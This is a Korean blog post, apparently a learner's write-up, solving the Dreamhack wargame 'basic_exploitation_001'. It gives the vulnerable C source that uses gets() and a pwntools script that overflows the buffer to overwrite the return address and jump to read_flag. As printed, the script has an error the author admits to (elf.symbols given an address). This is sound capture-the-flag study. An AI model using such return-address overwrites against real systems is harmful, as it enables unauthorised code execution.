촉촉한초코칩

[Dreamhack] basic_exploitation_001 본문

Study/System

[Dreamhack] basic_exploitation_001

햄친구베이컨 2024. 3. 31. 14:42
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];
    initialize();
    gets(buf);
    return 0;
}

 

취약점 

 

main 함수에 있는 gets 함수는 길이체크를 하지 않기 때문에 80보다 큰 길이의 값이 들어올 수 있다. 

flag는 read_flag() 함수에 들어가야 알 수 있으므로 read_flag의 주소를 먼저 알아야 할 것 같다. 

 

익스플로잇

 

함수 주소를 알아냈으므로 payload를 작성해서 함수가 실행되도록 한다. 

 

from pwn import *

p = remote("host3.dreamhack.games", 20551)

elf = ELF('./basic_exploitation_001')
#함수 주소 : 0x80485b9
read_flag = elf.symbols['0x080485b9']

payload = b'A'*0x80  #buf 크기만큼 데이터 채우기
payload += b'B'*0x4 #SFP 크기만큼 데이터 채우기
payload += p32(read_flag) #return address overflow

p.sendline(payload)
p.interactive()

그런데 자꾸 7번째 줄에서 에러가 나서 elf.symbols에 대해 알아보니, 입력한 함수의 함수 베이스 주소와의 offset을 가져온다고한다. 

즉, 함수 주소를 쓰는게 아니라 함수명을 써서 read_flag에 주소를 넣는 것... 주소를 함수명으로 바꿔서 실행했더니 flag가 떴다. 

 

 

 

 

 

에러 때문에 검색한 거 빼면 처음으로 혼자 푼 문제인데...
앞으로 공부 열심히 해야겠다

'Study > System' 카테고리의 다른 글

[Dreamhack] shell_basic (**다시 해보기...)  (0) 2024.05.13
(**) BombLab 4  (0) 2024.05.09
[Dreamhack] basic_exploitation_000  (0) 2024.03.31
[Dreamhack] Return Address Overwrite  (1) 2024.03.31
Bomb Lab Phase 1-3  (0) 2024.03.24